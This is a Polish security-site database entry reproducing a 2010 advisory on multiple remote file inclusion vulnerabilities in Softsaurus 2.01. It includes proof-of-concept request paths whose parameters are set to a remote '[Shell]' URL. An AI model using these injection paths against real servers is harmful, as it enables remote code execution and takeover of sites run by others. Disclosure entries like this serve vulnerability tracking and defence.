Bezpieczeństwo informacji

, Wiadomości IT, Audyt bezpieczeństwa
Rejestracja | Zapomniałem hasła | Zaloguj się
Polski Polski  Angielski Angielski
Szukaj :
SecurityReason
WLB
Audyt
RSS
Zespół
Informacja

Jeśli znalazłeś interesujący błąd i chcesz go nam wysłać, użyj adresu:
secalert(.)securityreason(.)pl

Twój exploit może być opublikowany w dziale ExploitAlert. Wyślij go nam na adres:
exploit(.)securityreason(.)pl

Strona główna arrow Baza WLB          

  Tytuł : Softsaurus 2.01 multiple remote file inclusion
  WLB : WLB-2010030077  (Szczegóły)
  Data publikacji : 2010-03-19
  Autor          : Inj3ct0r
  Poziom ryzyka : Wysoki  Poziom Wysoki  (Szczegóły)
  Zdalny błąd : Tak
  Lokalny błąd : Nie
  Status   : Bład

  Historia :
[2010-03-19] Publikacja

  Podatne oprogramowanie :  

Softsaurus 2.01


  Tekst :  

[+] SOFTSAURUS 2.01 Multiple Remote File Include Vulnerabilities
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm cr4wl3r member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: http://code.google.com/p/softsaurus/downloads/list

[+] PoC:
[path]/content/plugins/wallpapers/wallpapers.php?includes_path=[Shell]

[path]/content/themes/softsaurus_default/pages/subHeader.php?objects_path=[
Shell]

[path]/content/themes/softsaurus_stretched/pages/subHeader.php?objects_path
=[Shell]

[+] Greetz: Inj3ct0r Team r0073r, 0x1D, bL4Ck_3n91n3

# Inj3ct0r.com [2010-03-18]

  Referencje :  

None


Jeżeli chcesz zmienić powyższą note, prosze użyj UCP


Apache rss
PHP rss
Patronat

Szkolenia ISecMan

ISecMan

Szkolenia Multitrain

Multitrain

Copyright © SecurityReason. All Rights Reserved.